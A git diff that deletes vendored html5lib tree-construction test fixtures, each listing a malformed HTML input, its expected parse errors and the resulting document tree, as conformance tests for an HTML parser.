-x { content:"</style" } "
-
-#data
-<!DOCTYPE HTML><select><optgroup></optgroup></select>
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <select>
-|       <optgroup>
-
-#data
- 
- 
-#errors
-Line: 2 Col: 1 Unexpected End of file. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML>  <html>
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML><script>
-</script>  <title>x</title>  </head>
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|     <script>
-|       "
-"
-|     "  "
-|     <title>
-|       "x"
-|     "  "
-|   <body>
-
-#data
-<!DOCTYPE HTML><html><body><html id=x>
-#errors
-Line: 1 Col: 38 html needs to be the first start tag.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   id="x"
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML>X</body><html id="x">
-#errors
-Line: 1 Col: 36 Unexpected start tag token (html) in the after body phase.
-Line: 1 Col: 36 html needs to be the first start tag.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   id="x"
-|   <head>
-|   <body>
-|     "X"
-
-#data
-<!DOCTYPE HTML><head><html id=x>
-#errors
-Line: 1 Col: 32 html needs to be the first start tag.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   id="x"
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML>X</html>X
-#errors
-Line: 1 Col: 24 Unexpected non-space characters. Expected end of file.
-Line: 1 Col: 24 Unexpected non-space characters in the after body phase.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "XX"
-
-#data
-<!DOCTYPE HTML>X</html> 
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "X "
-
-#data
-<!DOCTYPE HTML>X</html><p>X
-#errors
-Line: 1 Col: 26 Unexpected start tag (p). Expected end of file.
-Line: 1 Col: 26 Unexpected start tag token (p) in the after body phase.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "X"
-|     <p>
-|       "X"
-
-#data
-<!DOCTYPE HTML>X<p/x/y/z>
-#errors
-Line: 1 Col: 19 Solidus (/) incorrectly placed in tag.
-Line: 1 Col: 21 Solidus (/) incorrectly placed in tag.
-Line: 1 Col: 23 Solidus (/) incorrectly placed in tag.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "X"
-|     <p>
-|       x=""
-|       y=""
-|       z=""
-
-#data
-<!DOCTYPE HTML><!--x--
-#errors
-Line: 1 Col: 22 Unexpected end of file in comment (--).
-#document
-| <!DOCTYPE HTML>
-| <!-- x -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML><table><tr><td></p></table>
-#errors
-Line: 1 Col: 34 Unexpected end tag (p). Ignored.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-|         <tr>
-|           <td>
-|             <p>
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests3.dat b/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests3.dat
deleted file mode 100644
index f3511417..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests3.dat
+++ /dev/null
@@ -1,270 +0,0 @@
-#data
-<head></head><style></style>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected start tag (style) that can be in head. Moved.
-#document
-| <html>
-|   <head>
-|     <style>
-|   <body>
-
-#data
-<head></head><script></script>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 21 Unexpected start tag (script) that can be in head. Moved.
-#document
-| <html>
-|   <head>
-|     <script>
-|   <body>
-
-#data
-<head></head><!-- --><style></style><!-- --><script></script>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-Line: 1 Col: 28 Unexpected start tag (style) that can be in head. Moved.
-#document
-| <html>
-|   <head>
-|     <style>
-|     <script>
-|   <!--   -->
-|   <!--   -->
-|   <body>
-
-#data
-<head></head><!-- -->x<style></style><!-- --><script></script>
-#errors
-Line: 1 Col: 6 Unexpected start tag (head). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <!--   -->
-|   <body>
-|     "x"
-|     <style>
-|     <!--   -->
-|     <script>
-
-#data
-<!DOCTYPE htML><html><head></head><body><pre>
-</pre></body></html>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <pre>
-
-#data
-<!DOCTYPE htML><html><head></head><body><pre>
-foo</pre></body></html>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <pre>
-|       "foo"
-
-#data
-<!DOCTYPE htML><html><head></head><body><pre>
-
-foo</pre></body></html>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <pre>
-|       "
-foo"
-
-#data
-<!DOCTYPE htML><html><head></head><body><pre>
-foo
-</pre></body></html>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <pre>
-|       "foo
-"
-
-#data
-<!DOCTYPE htML><html><head></head><body><pre>x</pre><span>
-</span></body></html>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <pre>
-|       "x"
-|     <span>
-|       "
-"
-
-#data
-<!DOCTYPE htML><html><head></head><body><pre>x
-y</pre></body></html>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <pre>
-|       "x
-y"
-
-#data
-<!DOCTYPE htML><html><head></head><body><pre>x<div>
-y</pre></body></html>
-#errors
-Line: 2 Col: 7 End tag (pre) seen too early. Expected other end tag.
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <pre>
-|       "x"
-|       <div>
-|         "
-y"
-
-#data
-<!DOCTYPE htML><HTML><META><HEAD></HEAD></HTML>
-#errors
-Line: 1 Col: 33 Unexpected start tag head in existing head. Ignored.
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|     <meta>
-|   <body>
-
-#data
-<!DOCTYPE htML><HTML><HEAD><head></HEAD></HTML>
-#errors
-Line: 1 Col: 33 Unexpected start tag head in existing head. Ignored.
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-
-#data
-<textarea>foo<span>bar</span><i>baz
-#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
-Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <textarea>
-|       "foo<span>bar</span><i>baz"
-
-#data
-<title>foo<span>bar</em><i>baz
-#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-Line: 1 Col: 30 Unexpected end of file. Expected end tag (title).
-#document
-| <html>
-|   <head>
-|     <title>
-|       "foo<span>bar</em><i>baz"
-|   <body>
-
-#data
-<!DOCTYPE htML><textarea>
-</textarea>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <textarea>
-
-#data
-<!DOCTYPE htML><textarea>
-foo</textarea>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <textarea>
-|       "foo"
-
-#data
-<!DOCTYPE htML><textarea>
-
-foo</textarea>
-#errors
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <textarea>
-|       "
-foo"
-
-#data
-<!DOCTYPE htML><html><head></head><body><ul><li><div><p><li></ul></body></html>
-#errors
-Line: 1 Col: 60 Missing end tag (div, li).
-#document
-| <!DOCTYPE htML>
-| <html>
-|   <head>
-|   <body>
-|     <ul>
-|       <li>
-|         <div>
-|           <p>
-|       <li>
-
-#data
-<!doctype html><nobr><nobr><nobr>
-#errors
-Line: 1 Col: 27 Unexpected start tag (nobr) implies end tag (nobr).
-Line: 1 Col: 33 Unexpected start tag (nobr) implies end tag (nobr).
-Line: 1 Col: 33 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|   <body>
-|     <nobr>
-|     <nobr>
-|     <nobr>
-
-#data
-<!doctype html><nobr><nobr></nobr><nobr>
-#errors
-Line: 1 Col: 27 Unexpected start tag (nobr) implies end tag (nobr).
-Line: 1 Col: 40 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|   <body>
-|     <nobr>
-|     <nobr>
-|     <nobr>
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests4.dat b/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests4.dat
deleted file mode 100644
index f65133c7..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests4.dat
+++ /dev/null
@@ -1,60 +0,0 @@
-#data
-direct div content
-#errors
-#document-fragment
-div
-#document
-| "direct div content"
-
-#data
-direct textarea content
-#errors
-#document-fragment
-textarea
-#document
-| "direct textarea content"
-
-#data
-textarea content with <em>pseudo</em> <foo>markup
-#errors
-#document-fragment
-textarea
-#document
-| "textarea content with <em>pseudo</em> <foo>markup"
-
-#data
-this is &#x0043;DATA inside a <style> element
-#errors
-#document-fragment
-style
-#document
-| "this is &#x0043;DATA inside a <style> element"
-
-#data
-</plaintext>
-#errors
-#document-fragment
-plaintext
-#document
-| "</plaintext>"
-
-#data
-setting html's innerHTML
-#errors
-Line: 1 Col: 24 Unexpected EOF in inner html mode.
-#document-fragment
-html
-#document
-| <head>
-| <body>
-|   "setting html's innerHTML"
-
-#data
-<title>setting head's innerHTML</title>
-#errors
-Line: 1 Col: 7 Unexpected start tag (title) that can be in head. Moved.
-#document-fragment
-head
-#document
-| <title>
-|   "setting head's innerHTML"
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests5.dat b/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests5.dat
deleted file mode 100644
index 2c95031b..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests5.dat
+++ /dev/null
@@ -1,175 +0,0 @@
-#data
-<style> <!-- </style>x
-#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end of file. Expected end tag (style).
-#document
-| <html>
-|   <head>
-|     <style>
-|       " <!-- </style>x"
-|   <body>
-
-#data
-<style> <!-- </style> --> </style>x
-#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <style>
-|       " <!-- </style> --> "
-|   <body>
-|     "x"
-
-#data
-<style> <!--> </style>x
-#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <style>
-|       " <!--> "
-|   <body>
-|     "x"
-
-#data
-<style> <!---> </style>x
-#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <style>
-|       " <!---> "
-|   <body>
-|     "x"
-
-#data
-<iframe> <!---> </iframe>x
-#errors
-Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <iframe>
-|       " <!---> "
-|     "x"
-
-#data
-<iframe> <!--- </iframe>->x</iframe> --> </iframe>x
-#errors
-Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <iframe>
-|       " <!--- </iframe>->x</iframe> --> "
-|     "x"
-
-#data
-<script> <!-- </script> --> </script>x
-#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <script>
-|       " <!-- </script> --> "
-|   <body>
-|     "x"
-
-#data
-<title> <!-- </title> --> </title>x
-#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <title>
-|       " <!-- </title> --> "
-|   <body>
-|     "x"
-
-#data
-<textarea> <!--- </textarea>->x</textarea> --> </textarea>x
-#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <textarea>
-|       " <!--- </textarea>->x</textarea> --> "
-|     "x"
-
-#data
-<style> <!</-- </style>x
-#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <style>
-|       " <!</-- "
-|   <body>
-|     "x"
-
-#data
-<xmp> <!-- > --> </xmp>
-#errors
-Line: 1 Col: 5 Unexpected start tag (xmp). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <xmp>
-|       " <!-- > --> "
-
-#data
-<title>&amp;</title>
-#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <title>
-|       "&"
-|   <body>
-
-#data
-<title><!--&amp;--></title>
-#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <title>
-|       "<!--&amp;-->"
-|   <body>
-
-#data
-<title><!--</title>
-#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected end of file. Expected end tag (title).
-#document
-| <html>
-|   <head>
-|     <title>
-|       "<!--</title>"
-|   <body>
-
-#data
-<noscript><!--</noscript>--></noscript>
-#errors
-Line: 1 Col: 10 Unexpected start tag (noscript). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|     <noscript>
-|       "<!--</noscript>-->"
-|   <body>
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests6.dat b/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests6.dat
deleted file mode 100644
index bf8a0a39..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests6.dat
+++ /dev/null
@@ -1,632 +0,0 @@
-#data
-<!doctype html></head> <head>
-#errors
-Line: 1 Col: 29 Unexpected start tag head. Ignored.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|   " "
-|   <body>
-
-#data
-<!doctype html></html> <head>
-#errors
-Line: 1 Col: 29 Unexpected start tag (head). Expected end of file.
-Line: 1 Col: 29 Unexpected start tag token (head) in the after body phase.
-Line: 1 Col: 29 Unexpected start tag head. Ignored.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|   <body>
-|     " "
-
-#data
-<!doctype html></body><meta>
-#errors
-Line: 1 Col: 28 Unexpected start tag token (meta) in the after body phase.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|   <body>
-|     <meta>
-
-#data
-<!doctype HTml><form><div></form><div>
-#errors
-Line: 1 Col: 33 End tag (form) seen too early. Ignored.
-Line: 1 Col: 38 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTml>
-| <html>
-|   <head>
-|   <body>
-|     <form>
-|       <div>
-|         <div>
-
-#data
-<!doctype HTml><title>&amp;</title>
-#errors
-#document
-| <!DOCTYPE HTml>
-| <html>
-|   <head>
-|     <title>
-|       "&"
-|   <body>
-
-#data
-<!doctype HTml><title><!--&amp;--></title>
-#errors
-#document
-| <!DOCTYPE HTml>
-| <html>
-|   <head>
-|     <title>
-|       "<!--&amp;-->"
-|   <body>
-
-#data
-<!doctype>
-#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-Line: 1 Col: 10 Unexpected > character. Expected DOCTYPE name.
-Line: 1 Col: 10 Erroneous DOCTYPE.
-#document
-| <!DOCTYPE >
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!---x
-#errors
-Line: 1 Col: 6 Unexpected end of file in comment.
-Line: 1 Col: 6 Unexpected End of file. Expected DOCTYPE.
-#document
-| <!-- -x -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<body>
-<div>
-#errors
-Line: 1 Col: 6 Unexpected start tag (body).
-Line: 2 Col: 5 Expected closing tag. Unexpected end of file.
-#document-fragment
-div
-#document
-| "
-"
-| <div>
-
-#data
-<frameset></frameset>
-foo
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 3 Unexpected non-space characters in the after frameset phase. Ignored.
-#document
-| <html>
-|   <head>
-|   <frameset>
-|   "
-"
-
-#data
-<frameset></frameset>
-<noframes>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 10 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <frameset>
-|   "
-"
-|   <noframes>
-
-#data
-<frameset></frameset>
-<div>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 5 Unexpected start tag (div) in the after frameset phase. Ignored.
-#document
-| <html>
-|   <head>
-|   <frameset>
-|   "
-"
-
-#data
-<frameset></frameset>
-</html>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <frameset>
-|   "
-"
-
-#data
-<frameset></frameset>
-</div>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 2 Col: 6 Unexpected end tag (div) in the after frameset phase. Ignored.
-#document
-| <html>
-|   <head>
-|   <frameset>
-|   "
-"
-
-#data
-<form><form>
-#errors
-Line: 1 Col: 6 Unexpected start tag (form). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected start tag (form).
-Line: 1 Col: 12 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <form>
-
-#data
-<button><button>
-#errors
-Line: 1 Col: 8 Unexpected start tag (button). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected start tag (button) implies end tag (button).
-Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <button>
-|     <button>
-
-#data
-<table><tr><td></th>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (th). Ignored.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-|         <tr>
-|           <td>
-
-#data
-<table><caption><td>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (td). Ignored.
-Line: 1 Col: 20 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <caption>
-|       <tbody>
-|         <tr>
-|           <td>
-
-#data
-<table><caption><div>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 21 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <caption>
-|         <div>
-
-#data
-</caption><div>
-#document-fragment
-caption
-#errors
-Line: 1 Col: 10 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
-#document
-| <div>
-
-#data
-<table><caption><div></caption>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 31 Unexpected end tag (caption). Missing end tag (div).
-Line: 1 Col: 31 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <caption>
-|         <div>
-
-#data
-<table><caption></table>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 24 Unexpected end table tag in caption. Generates implied end caption.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <caption>
-
-#data
-</table><div>
-#document-fragment
-caption
-#errors
-Line: 1 Col: 8 Unexpected end table tag in caption. Generates implied end caption.
-Line: 1 Col: 8 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 13 Expected closing tag. Unexpected end of file.
-#document
-| <div>
-
-#data
-<table><caption></body></col></colgroup></html></tbody></td></tfoot></th></thead></tr>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end tag (body). Ignored.
-Line: 1 Col: 29 Unexpected end tag (col). Ignored.
-Line: 1 Col: 40 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 47 Unexpected end tag (html). Ignored.
-Line: 1 Col: 55 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 60 Unexpected end tag (td). Ignored.
-Line: 1 Col: 68 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 73 Unexpected end tag (th). Ignored.
-Line: 1 Col: 81 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 86 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 86 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <caption>
-
-#data
-<table><caption><div></div>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 27 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <caption>
-|         <div>
-
-#data
-<table><tr><td></body></caption></col></colgroup></html>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end tag (body). Ignored.
-Line: 1 Col: 32 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 38 Unexpected end tag (col). Ignored.
-Line: 1 Col: 49 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 56 Unexpected end tag (html). Ignored.
-Line: 1 Col: 56 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-|         <tr>
-|           <td>
-
-#data
-</table></tbody></tfoot></thead></tr><div>
-#document-fragment
-td
-#errors
-Line: 1 Col: 8 Unexpected end tag (table). Ignored.
-Line: 1 Col: 16 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 24 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 32 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 37 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 42 Expected closing tag. Unexpected end of file.
-#document
-| <div>
-
-#data
-<table><colgroup>foo
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "foo"
-|     <table>
-|       <colgroup>
-
-#data
-foo<col>
-#document-fragment
-colgroup
-#errors
-Line: 1 Col: 3 Unexpected end tag (colgroup). Ignored.
-#document
-| <col>
-
-#data
-<table><colgroup></col>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 23 This element (col) has no end tag.
-Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <colgroup>
-
-#data
-<frameset><div>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected start tag token (div) in the frameset phase. Ignored.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <frameset>
-
-#data
-</frameset><frame>
-#document-fragment
-frameset
-#errors
-Line: 1 Col: 11 Unexpected end tag token (frameset) in the frameset phase (innerHTML).
-#document
-| <frame>
-
-#data
-<frameset></div>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected end tag token (div) in the frameset phase. Ignored.
-Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <frameset>
-
-#data
-</body><div>
-#document-fragment
-body
-#errors
-Line: 1 Col: 7 Unexpected end tag (body). Ignored.
-Line: 1 Col: 12 Expected closing tag. Unexpected end of file.
-#document
-| <div>
-
-#data
-<table><tr><div>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected start tag (div) in table context caused voodoo mode.
-Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|     <table>
-|       <tbody>
-|         <tr>
-
-#data
-</tr><td>
-#document-fragment
-tr
-#errors
-Line: 1 Col: 5 Unexpected end tag (tr). Ignored.
-#document
-| <td>
-
-#data
-</tbody></tfoot></thead><td>
-#document-fragment
-tr
-#errors
-Line: 1 Col: 8 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 16 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 24 Unexpected end tag (thead). Ignored.
-#document
-| <td>
-
-#data
-<table><tr><div><td>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected start tag (div) in table context caused voodoo mode.
-Line: 1 Col: 20 Unexpected implied end tag (div) in the table row phase.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <div>
-|     <table>
-|       <tbody>
-|         <tr>
-|           <td>
-
-#data
-<caption><col><colgroup><tbody><tfoot><thead><tr>
-#document-fragment
-tbody
-#errors
-Line: 1 Col: 9 Unexpected start tag (caption).
-Line: 1 Col: 14 Unexpected start tag (col).
-Line: 1 Col: 24 Unexpected start tag (colgroup).
-Line: 1 Col: 31 Unexpected start tag (tbody).
-Line: 1 Col: 38 Unexpected start tag (tfoot).
-Line: 1 Col: 45 Unexpected start tag (thead).
-#document
-| <tr>
-
-#data
-<table><tbody></thead>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end tag (thead) in the table body phase. Ignored.
-Line: 1 Col: 22 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-
-#data
-</table><tr>
-#document-fragment
-tbody
-#errors
-Line: 1 Col: 8 Unexpected end tag (table). Ignored.
-#document
-| <tr>
-
-#data
-<table><tbody></body></caption></col></colgroup></html></td></th></tr>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 21 Unexpected end tag (body) in the table body phase. Ignored.
-Line: 1 Col: 31 Unexpected end tag (caption) in the table body phase. Ignored.
-Line: 1 Col: 37 Unexpected end tag (col) in the table body phase. Ignored.
-Line: 1 Col: 48 Unexpected end tag (colgroup) in the table body phase. Ignored.
-Line: 1 Col: 55 Unexpected end tag (html) in the table body phase. Ignored.
-Line: 1 Col: 60 Unexpected end tag (td) in the table body phase. Ignored.
-Line: 1 Col: 65 Unexpected end tag (th) in the table body phase. Ignored.
-Line: 1 Col: 70 Unexpected end tag (tr) in the table body phase. Ignored.
-Line: 1 Col: 70 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-
-#data
-<table><tbody></div>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (div) in table context caused voodoo mode.
-Line: 1 Col: 20 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 20 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-
-#data
-<table><table>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected start tag (table) implies end tag (table).
-Line: 1 Col: 14 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|     <table>
-
-#data
-<table></body></caption></col></colgroup></html></tbody></td></tfoot></th></thead></tr>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected end tag (body). Ignored.
-Line: 1 Col: 24 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 30 Unexpected end tag (col). Ignored.
-Line: 1 Col: 41 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 48 Unexpected end tag (html). Ignored.
-Line: 1 Col: 56 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 61 Unexpected end tag (td). Ignored.
-Line: 1 Col: 69 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 74 Unexpected end tag (th). Ignored.
-Line: 1 Col: 82 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 87 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 87 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-
-#data
-</table><tr>
-#document-fragment
-table
-#errors
-Line: 1 Col: 8 Unexpected end tag (table). Ignored.
-Line: 1 Col: 12 Expected closing tag. Unexpected end of file.
-#document
-| <tbody>
-|   <tr>
-
-#data
-<html></html><!-- foo -->
-#errors
-Line: 1 Col: 6 Unexpected start tag (html). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-| <!--  foo  -->
-
-#data
-<body></body></html>
-#document-fragment
-html
-#errors
-Line: 1 Col: 20 Unexpected html end tag in inner html mode.
-Line: 1 Col: 20 Unexpected EOF in inner html mode.
-#document
-| <head>
